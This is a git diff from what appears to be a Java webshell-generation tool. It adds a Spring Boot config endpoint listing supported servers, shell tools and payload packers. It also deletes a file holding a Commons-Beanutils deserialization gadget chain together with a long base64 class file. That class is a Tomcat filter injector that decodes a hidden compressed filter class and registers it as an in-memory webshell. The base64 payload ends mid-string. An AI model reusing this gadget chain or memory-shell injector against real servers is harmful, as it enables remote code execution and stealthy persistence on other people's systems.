diff --git a/boot/build.gradle b/boot/build.gradle index 17d9b6d6..85bcbd5c 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -24,6 +24,7 @@ repositories { } dependencies { + implementation project(":deserialize") implementation project(":generator") implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation 'org.springframework.boot:spring-boot-starter-web' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java new file mode 100644 index 00000000..38ef16e3 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.boot.entity.Config; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.packer.Packer; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +@RestController("/config") +public class ConfigController { + @RequestMapping + public ResponseEntity config() { + Map> coreMap = new HashMap<>(16); + List servers = new ArrayList<>(); + for (Server value : Server.values()) { + AbstractShell shell = value.getShell(); + if (shell != null) { + List supportedShellTools = shell.getSupportedShellTools(); + Map> map = new HashMap<>(16); + for (ShellTool shellTool : supportedShellTools) { + List supportedShellTypes = shell.getSupportedShellTypes(shellTool); + map.put(shellTool.name(), supportedShellTypes); + } + servers.add(value.name()); + coreMap.put(value.name(), map); + } + } + Config config = new Config(); + config.setServers(servers); + config.setCore(coreMap); + Map> packerMap = new HashMap<>(16); + for (Packer.INSTANCE value : Packer.INSTANCE.values()) { + if (value.equals(Packer.INSTANCE.Deserialize)) { + packerMap.put(value.name(), Map.of("payloads", PayloadType.values())); + } else { + packerMap.put(value.name(), null); + } + } + config.setPacker(packerMap); + return ResponseEntity.ok(config); + } +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java new file mode 100644 index 00000000..7260b269 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.boot.entity; + +import lombok.Data; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +@Data +public class Config { + private List servers; + private Map> core; + private Map> packer; +} \ No newline at end of file diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerTest.java new file mode 100644 index 00000000..de818e5b --- /dev/null +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerTest.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.boot.controller; + +import org.junit.jupiter.api.Test; +import org.springframework.http.ResponseEntity; + +import static org.junit.jupiter.api.Assertions.assertNotNull; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +class ConfigControllerTest { + @Test + void getConfig() { + ConfigController configController = new ConfigController(); + ResponseEntity config = configController.config(); + Object body = config.getBody(); + assertNotNull(body); + System.out.println(body); + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java deleted file mode 100644 index 4045117a..00000000 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java +++ /dev/null @@ -1,46 +0,0 @@ -package com.reajason.javaweb.deserialize; - -import com.reajason.javaweb.deserialize.utils.Reflections; -import lombok.SneakyThrows; -import org.apache.commons.beanutils.BeanComparator; - -import java.io.ByteArrayOutputStream; -import java.io.ObjectOutputStream; -import java.util.Base64; -import java.util.PriorityQueue; - -/** - * @author ReaJason - * @since 2024/12/3 - */ -public class CommonsBeanutils19 { - @SneakyThrows - public static Object getPayload(byte[] bytes) { - Object obj = TemplateUtils.createTemplatesImpl(bytes); - final BeanComparator comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER); - final PriorityQueue queue = new PriorityQueue<>(2, comparator); - queue.add("1"); - queue.add("1"); - Reflections.setFieldValue(comparator, "property", "outputProperties"); - Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); - return queue; - } - - public static void main(String[] args) { - String base64 = "yv66vgAAADIBvQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQAOe3t1cmxQYXR0ZXJufX0IACoBAA17e2NsYXNzTmFtZX19CAAsAQANe3tiYXNlNjRTdHJ9fQgALgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIADYBAAxkZWNvZGVCdWZmZXIHADgBABBqYXZhL2xhbmcvU3RyaW5nCgAwADoMADsAPAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKADAAPgwAPwAcAQALbmV3SW5zdGFuY2UKAEEAQgcAQwwARABFAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBHAQACW0IIAEkBABBqYXZhLnV0aWwuQmFzZTY0CABLAQAKZ2V0RGVjb2RlcgoAAgBNDABOAE8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAFEBAAZkZWNvZGUHAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAUgADBwBWAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoAVQBYDAAFAFkBAAUoW0IpVgcAWwEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtCgBaAF0MAAUAXgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAWgBgDABhAGIBAARyZWFkAQAFKFtCKUkKAFIAZAwAZQBmAQAFd3JpdGUBAAcoW0JJSSlWCgBSAGgMAGkAagEAC3RvQnl0ZUFycmF5AQAEKClbQgoAMABsDABtAG4BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwBwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uCgAwAHIMAHMATwEADWdldFN1cGVyY2xhc3MKAG8AdQwABQB2AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgB4AHkHAHoMAHsAfAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAHgAfgwAfwAgAQADZ2V0CgAIAIEMAIIAgwEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAMACFDACGAIcBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAQQCJDACKAIsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsKADcAjQwAjgCPAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgBBAJEMAJIAkwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsKADAAlQwAlgA8AQARZ2V0RGVjbGFyZWRNZXRob2QHAJgBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgCXAHUKAEEAeQcAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KAJsAoAwAoQCLAQAKZ2V0TWVzc2FnZQoAnQB1BwCkAQATamF2YS91dGlsL0FycmF5TGlzdAoAowADBwCnAQAQamF2YS9sYW5nL1RocmVhZAgAqQEACmdldFRocmVhZHMKAAgAqwwAggCsAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsHAK4BABNbTGphdmEvbGFuZy9UaHJlYWQ7CgCmAIkIALEBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCgA3ALMMALQAtQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaCAC3AQAGdGFyZ2V0CgAIALkMALoArAEADWdldEZpZWxkVmFsdWUIALwBAAZ0aGlzJDAIAL4BAAhjaGlsZHJlbgcAwAEAEWphdmEvdXRpbC9IYXNoTWFwCgC/AMIMAMMAxAEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwDGAA8HAMcBAA1qYXZhL3V0aWwvU2V0CgC/AH4KADAAiQgAywEAD1N0YW5kYXJkQ29udGV4dAsADgDNDADOAI8BAANhZGQIANABABVUb21jYXRFbWJlZGRlZENvbnRleHQKAKYA0gwA0wDUAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwoAMADWDADXAIsBAAh0b1N0cmluZwgA2QEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIANsBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCADdAQAJcmVzb3VyY2VzCADfAQAHY29udGV4dAoAnQDhDAAFAOIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAKYA5AwA5QDmAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgAwAOgMAOkA1AEADmdldENsYXNzTG9hZGVyCgAIAOsMAOwAiwEADGdldENsYXNzTmFtZQoA7gDvBwDwDADxADQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MKAAgA8wwA9ACLAQAPZ2V0QmFzZTY0U3RyaW5nCgAIAPYMAPcA+AEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgA+gwA+wD8AQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IIAP4BAAtkZWZpbmVDbGFzcwkBAAEBBwECDAEDAQQBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwoBAAEGDAEHAQgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwcBCgEAE2phdmEvbGFuZy9UaHJvd2FibGUKAQkBDAwBDQAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAQ8MARAA1AEAEWdldENhdGFsaW5hTG9hZGVyCAESAQANZmluZEZpbHRlckRlZggBFAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEWAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIARgBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARoBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAKADABHAwAMwEdAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwgBHwEADXNldEZpbHRlck5hbWUIASEBAA5zZXRGaWx0ZXJDbGFzcwgBIwEADGFkZEZpbHRlckRlZggBJQEADXNldERpc3BhdGNoZXIIAScBAAdSRVFVRVNUCAEpAQANYWRkVVJMUGF0dGVybgoACAErDAEsAIsBAA1nZXRVcmxQYXR0ZXJuCAEuAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCgAwATAMATEBMgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwgBNAEADXNldFVSTFBhdHRlcm4IATYBABJhZGRGaWx0ZXJNYXBCZWZvcmUIATgBAAxhZGRGaWx0ZXJNYXAKAToAeQcBOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yCgE6AT0MAD8BPgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBQAEADWZpbHRlckNvbmZpZ3MHAUIBAA1qYXZhL3V0aWwvTWFwCwFBAUQMAUUBRgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAlAQwKAAgAAwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQBDTGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEACkV4Y2VwdGlvbnMBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAD2d6aXBJbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBaAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANvYmoBAARuYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAFY2xhenoBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwFzAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzAQAVW0xqYXZhL2xhbmcvQ2xhc3M8Kj47BwF8BwF+BwF3AQAJU2lnbmF0dXJlAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEa2V5MQEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAB3RocmVhZHMBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJY2xhenpCeXRlAQACZTEBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZkHAaEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBowEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAIWNvbS9nb29nbGUvZ3NvL0NsYnFTL0VuY29kaW5nVXRpbAcBpwoBqAAJCgGoAB4KAagAIgEAI0xjb20vZ29vZ2xlL2dzby9DbGJxUy9FbmNvZGluZ1V0aWw7AQACLyoIAa0BAClvcmcuYXBhY2hlLmh0dHAuY2xpZW50LmNkbFh6LkVycm9ySGFuZGxlcggBrwEPgEg0c0lBQUFBQUFBQS82VlllWHdieFJYK3hwSzlzcnc1a0hNNUJ6bEpmQ3R4Yk1leGM5bU9FeHRzSjhRaFlBdy9XTXRyVzdFc0thdVZZOGRKRDBwUFNrdnYwcHVXa3JZL2FKTkNsSmdVU0MrZzlBb3RiU24wcEgvMHBLVjNhU251TjdzclJiTGxwUHo0UXpPejg5NjhlZTk3eDh6b2laY2ZmQmhBbGFqMUlnY3VCVzRWdWNnVG1IOVFHOUg4SVMwODRHOE9hYkZZZTBUcjB3MkJ2QzNCY05EY0p1QXFMam5nZ1VkQUdSOGYwc2VPSGN1SEZ3VUtWQld6TUZ1Z0lSQVo5aHU2ZGxDTFJjSitLZTJ3M3VzZjFvZGplaWprTnlQREFjMzBEMFQ2amdSREljMi8yeG5zQ29aTXVZMkxJZ1Y4N1JlMDZES05ZSGlnd1lPNUFwN3g4U2gxc3ZmMHFTaVVHN3JsbEFmekxZMkcrMnBzNmtJVml5VFZ4UmtQRmd2TUhoOGYxS1V0bmRxd2J2TXNWYkZNOG5ndkVEeFlMakFueVhwQUM4VWQzcFVxVmtuZWdqU0toRzZOeE8wS2djWEY3Vm1SYXlnNUlObldxU2hHQ1pmMzZmM0JzRzR4Q0N3czdtbHFheXVadXBMR2xsSHp4cFl1THlwUXFjQ3ZZajAyQ0JSS3hsRi93QmlMbWhGL2N6QTZLREVyR05ETnRuRE0xTUlCWGFDa2VEcDQ5ZzVURmpZbzJDaXdQSU1TaStvQmY1Y2VNSFR6S24yc2kxOWUxS0JXd1NZVmRkZ3NNSGVxYkRxRjJ6ZU5tVHJ0Y1JlWDlEUjVVWVVHaWNvVzI4QXM2aHlRZG0xVHNSMDd1RWdHbG1SdHN6bGplaUJ1Qk0weFB6VndXSnRVTkdNbkhkd1gyUlVNYXlHR0l3VnpMd1c3SEZUc0RWcEdBM3JVREViQ0Nsb0ZyckJ0aStuR1NFZzMvWU9tR2ZXM3N1bXlKL2JwaCtKNnpGUndwY0RhUzdIR29wRndUQy9BYnJTcjZFQ25RRDd0YnRYdDdGZzdJK2daVXhMTXZTcXV4ajdDRm9pRVRTMFlKbXhMTW1KblVETzZwR2IwWmtQSjlYTEgvU3F1d1FIR0tYZnMwbU14Mmlld3FqanAxU3hLV3p3TmN1MTFLcnFsdGlyWDd0VU1oamp6ek11QTdsRnhBMjRrb1ZlTDZiWFZPL1ZBcEkvaHN5Q2JKZEtwWHR5azRtWm9BbUtVbmlEKzEzUGVnd0Evb3RwWWlORmVBQjM5Q2daVURDSW9jUG5GMWJOMWFqUzVSMi9jMUM4TjRwN2VnM3JBSkloRENDa1lWaEZHSkNNaWJRWTdJcDBNS3l5ZW5sMWVISUtoSUtiQ1JKelpQb1hPVXBGY255eCtSZE9sT05rdGNWa2ptMUVWWXpoQ2NLNW1EWlhCT1cxYmljNVJGY2Z3R2xvZXk3QjhYUmJMcHhzdTYrN3JHQVhScEJ0ajBzRkhGYnhCWUpuRkhZejRaU1kyR29ZMnRpZHVSdU1taGVuYXNCZTN3Q1hOZnBPS04rTXRMQmxoL2ZDRmtqR3ZPQXZNQ3Q0bXNPTEN0TTF1QmpXWlhtbDU5dlpNcmxCSUg5QkNqWUVBblp6RzlRNVd5QXRjKytJVU5LeW42Rjdjamp0a3lYaVh3S0owTFBZUEdwSERXbTlJdHdyQkVONmo0cjE0SDlPZkNhS0ZZaExxTERneGFkcndBUlVmeEoxMm1sN0xlaUw5dURCcEtJSGFTNVFkZ3BXWEgxYnhFWHlVL0xGNGI4d3BiUXVLTTZ0ektvMC9qazhvdUV2RkovR3BaUDNKRkNtUWUxZ09wbWlZVmdDSDhHa1Y5K0E0dzlXTUpHdHBwaWRTMjkyQ3o2cjRuS3kvQldZazVXRVpkdmVxdUErZlQyVnhTemlaeFprUm1GWi9Ua2c3VDBxOXNwbFdnUHZ4Z0lKVEtoSTR6Y0RQVEdIN2xHYUZDako3UGJJWTI2ZjJqdUlwcFNpendqYk1STFdMcWhYWUUwNG1WOGJOWUtpeXliSkdSdXhaRlYvQ1E2d3gvUkhyZ0daVnYwU1pTQjZoajlnRjA0YUUrZjVsM2l0NnNoYURyNnI0R3I1dWgwcUhiZzVHK2xJbVpld3lmWFg2dm9iZUgyTDQrVzBKekovSEdCbzkyZXJYTi9DRWdtK3ErQmErelhpZlNRS2pQQmdlaVF6UjVNMVpvanlMNUN4WjdNRjNXYzkwQzRQOVRwZ3BlRklnUjlidTd6TlNZdkZ3NVhBd0ZxaHNhdXhxU1VhUTRjRVBaSlpaSHg3OHlJYlNQaU5JK3pGcGZicE5lM2E2akJUZlR4bVlObDlUdkw5Zk91SG5qUEZzTWNWclFMTVZ1WFBhZVQzcWpBLzM2c1orbWZqeU1oZ0phS0VEbWhHVTM4NmsyeHdNTXYyM3RyK0syMllEcXpVcjlzSVpTanN4Q3ZReUtMcUNBMkhOakJ1NnJFMVpDdnVXMG0xU0VzL0IrVm12V1ZSMlJET3FrK1FwRnhXNWxJYUlZZjZ1RjVqVlpXcUJvUTR0NnRqWjgrb3lxMzNHL0dYU2NjZit6THUyRXpRa2NPdjBtTnRuUjJad1JOOFQxWTNNSTREc2VacGg4THpoYlRKVlhyT2VRMlJWWXNuVGY4V2xyaThFcms4emVlR1lIY3N3bWplTGk0UENLSXBsQXBIVWJHYWtXTEFEZGwxYmNoSFFxTCtSVkdMZHpQcFAwY1pqcE5TWTZzNlpMcG9OaWxBRWxsN01URVhrTytmK2pGWXBvc0M1Mmw3YWpVengxRGltaU5uVDdtK083QXVIdXBpYmR2YTE3VW1UdEh5cW1RNkdrWEIvY01DS1BMVS9iWWFHWG94ZjN2dHByeEhoeTFDeFM1SjhrTm9ubnNCbDA2cXluWEcxVE9CZXBsYnVpSHlyc1VwbDFwR3hhTEtXek11ZTBZcGR1YmlWdHlzU053STZsU0ozWVdZUnFaUnIrZXFLR0FOK0xhb0ZCblhicDRGUVVBK2Iva0JmNkxvai9oYkRpQml0V3JndnhCb29WbmhRbUM5V3dzY2piMk9nVmwvZlc2ZHREbXlvcWFxcTFqeGlqU1RSYlNzMmJHamVXZHRZdDZtbWJuTmQ5WWJhamJYTkd6YzFOdGRWMVRaV05hNnZibXIyaUhXU2RTSDF1NGE0VlRRT2NFT1BLSldUUzJXRkpHWWVVU0UvVndxVXRmL2ZHalo0dWFSSE5qZkpabzFzUm1Wekx3V3Q1R05XNEdlOHF3bjUzZ2ZZRnpyOUlxZGY1dlNyckQ2Zm8xemtzZjBGdjZxdDlVQng2V21JMGtLeDZwUll6ZTZLVTJJdHUrSlRvb1JkMlNsUnpxN3lsUENmQkN4WmZHUTdFbW9vSVlkOVNXblphYXgrQlNKNFArZENLV0lyM0phSS9OSXlWOW5EcDdIMkJEOXk4RXUyZVpaMnkvRWMyd1UyRTM0bDFsc2k4dkZyUEVuNmJ5enUzM0xFOTVDajFkTmM2V1pmN2lzOWcvTE9pcVYzUW5FZmh6djNMS3E2U3g4UWF4T285dEhtK2dTMlZwUWwwSGlpVTV5d2tVQUpXdURDbnpuZUF0Y2s1c0N0aUpVS3pndUZiMS9aVEpLVVBwZkRSa3dTYjVjektibGFMUDBYRUNrUXF6eXN4V3Fzbyt4aWxMSjl6c0plK21FMWZvZmZjNzlTMnZBSFBNOFJ0VTdaV0k0L1dqYkswWi93Z3VXdEJQNWlBNWR6SHlVVUVNdGxaZWV3dTk1ZGZnNXQ5YmxGYnRwWFBvR3JjdkFvWGtqNzRzQ2Z3SjQ3OFd5UmV3SmRBdlY1Rm5YMUJLN053Um14b1Y0cExWSmNDVkZWcnhUbCtYb24wSmVEeDdCS2pzK0tsZDJsQ1J4TUlIcGFiQ3hTRXFKNkF1TXVITWR0Ulc3ZmE0dVVDYnplaGJPNHBmczBicTMzcEphZnc2RUUzbGlmZnh4ejZyMW5jWHQza2ZjMDN2bElVWDZSSjRGM1g4dmViZlc1RTNpL2tCcVd1T2JPVGVCRENYeXNLRCtCdTFNVXlmOFpOM1U3STJvazhjSUN5ZjhGVGgxSFFVVVpMZjJpMUdwV2ZWN3k0eVFodlFOMzRXNjgxZWx2Z3lybUNGL0t6U0Y0Sm5FVUh1azlrYWNJajRMN0ZleFcwS1pBcHorQlNib3VmeWF5d2djQmp3ZnZTL0ovdDZGSmRDRnZPaXU5cFRReEt2S3RzRGlJeFd6WDAvMGJvR0lqL0F5R09xWlNLMnB4TlRiaFJuNGRSVDFmaHczVWVSdTFicVRlMi9sQTJZRVRhTUlaTkJQYW5YaUtOanlEWGJSaXQzRGpTb2JkVldJTzl0QzJEakVQbldJcDlscWhkaXVMdzEyMDlxLzRHOVBtSHI1VS9vNS9zTDJEYis1LzRsL3dVT3AraDFySGkvQ0wrRGQxYStWZC96OE1QNFd5UEZ6eFBPY1liTW5nNU9nbC9GY0dKMGN2RTZNY09XTHdDKzZVSnhhS0hPRmlFcXJpTXVFV3VjZ1ZxcFhRT1dJV2RSVFlMaTV6OHIvR1NtQXVQamtsNy9lbjViMUk1WVFRUGxISVZvcHpzNS9GMzd4VVJTdXplTE1JdTg0U3B0cEVSMWkrZks3WldnaWRmREpaUjBXNzc4d1pQTmhSN250WW5NTzVCTDVTenY3UkJCN3ZyR0FLK0w3amZnaUh1bDIrODEwa1ZmQmpxTnRWeXZIajUxRFRmaHliTzMzZnM1Ykx3SGZMK0Q3b2V5cDlTWkY3MnByY2VuZlpDYXVRYnFXSFcranRRL1JNQzgyVDhWa2l5OUFPV1dZWWF6VldjWmxrMExpZGIxbHI1TnlMTkV1YVd3V0p6QTBVZGhQZGRqT1dzQ3B1UlpBU2VpbTREN3Vob3dQOTNHS1Ftd3hnaE9Fb29XbWxwQ1ZZSmVZekRGeGNXU2NXaUlXVTBvRTExcHliS3l1Y3VVYlVpRVZPdFJvVlJRd1NDZmFJV013elJvZ2xqdGRzR1VzNXNsZHlsUFFhZGM2WC8zalpYc3NHL2cremd2KzBnMlROZFBEUDIrQS9NeFg4bjZRdm1RTCsrVmNBZm8wc0JXbmdXOS9ad1k5UW1FSHpZd1RVcE5pamxCQ240TU1FWXBTQWpuR0xjVktPRVB4akdlQXZ5d0wrc2t1QVB6c0YvcE1YQjUvVXl5V3ZXUDQvU1ZiRStYRVlBQUE9CAGxCgGoAIEKAagAqwoBqAC5CgGoAOsKAagA8woBqAD2CgGoAPoKAagBDwoBqAErCgGoAAMAIQGoAAIAAAAAAA4AAQAFAAYAAQFJAAAA2AADAAUAAAA2KrcAASq2AalMK7kADQEATSy5ABMBAJkAGyy5ABkBAE4qLbYBqjoEKi0ZBLYBq6f/4